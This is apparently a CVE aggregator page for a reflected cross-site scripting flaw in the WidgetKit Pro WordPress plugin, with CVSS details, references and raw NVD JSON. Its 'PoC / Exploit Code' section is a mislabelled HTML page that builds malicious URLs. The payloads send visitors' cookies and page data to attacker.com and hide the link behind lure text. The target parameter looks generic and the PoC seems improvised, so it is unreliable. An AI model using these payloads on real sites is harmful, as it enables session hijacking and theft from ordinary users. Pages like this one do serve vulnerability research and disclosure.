CVE-2025-46494

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesgrove WidgetKit Pro allows Reflected XSS.This issue affects WidgetKit Pro: from n/a through 1.13.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WidgetKit Pro < 1.13.1

WidgetKit Pro 从早期版本到 1.13.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-46494 PoC: Reflected XSS in WidgetKit Pro -->
<!-- This PoC demonstrates the reflected XSS vulnerability in WidgetKit Pro <= 1.13.1 -->
<!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-46494 PoC</title>
</head>
<body>
    <h1>CVE-2025-46494: WidgetKit Pro Reflected XSS PoC</h1>
    <p>Target: WidgetKit Pro <= 1.13.1</p>
    
    <script>
        // Generate malicious URL with XSS payload
        const targetUrl = 'TARGET_URL'; // Replace with actual target
        const xssPayload = '<script>alert("XSS - CVE-2025-46494");document.location="https://attacker.com/steal?cookie="+document.cookie</script>';
        
        // Encoded payload for bypass
        const encodedPayload = encodeURIComponent(xssPayload);
        
        // Malicious URL construction
        const maliciousUrl = `${targetUrl}/?widgetkit_param=${encodedPayload}`;
        
        console.log('Malicious URL:', maliciousUrl);
        
        // Function to create the exploit link
        function createExploitLink() {
            const link = document.createElement('a');
            link.href = maliciousUrl;
            link.textContent = 'Click here for more info';
            link.style.display = 'none';
            document.body.appendChild(link);
            return link.outerHTML;
        }
        
        // Display the malicious URL
        document.write('<p>Malicious URL: <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a></p>');
        document.write('<p>Encoded XSS Payload: ' + encodedPayload + '</p>');
    </script>
    
    <!-- Alternative PoC: Direct URL parameter injection -->
    <!-- 
    Example malicious URLs:
    1. https://vulnerable-site.com/?widgetkit_param=<img src=x onerror=alert(document.domain)>
    2. https://vulnerable-site.com/?widgetkit_param=<svg/onload=fetch("https://attacker.com/log?c="+document.cookie)>
    3. https://vulnerable-site.com/?widgetkit_param=<script>fetch("https://attacker.com/steal?data="+btoa(JSON.stringify({cookies:document.cookie,url:location.href})))</script>
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-46494
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-46494
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-46494/
[4] VulDB https://vuldb.com/cve/CVE-2025-46494
[5] https://patchstack.com/database/wordpress/plugin/widgetkit-pro/vulnerability/wordpress-widgetkit-pro-plugin-1-13-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-46494", "sourceIdentifier": "[email protected]", "published": "2026-01-07T13:15:43.423", "lastModified": "2026-04-28T19:32:15.493", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesgrove WidgetKit Pro allows Reflected XSS.This issue affects WidgetKit Pro: from n/a through 1.13.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/widgetkit-pro/vulnerability/wordpress-widgetkit-pro-plugin-1-13-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}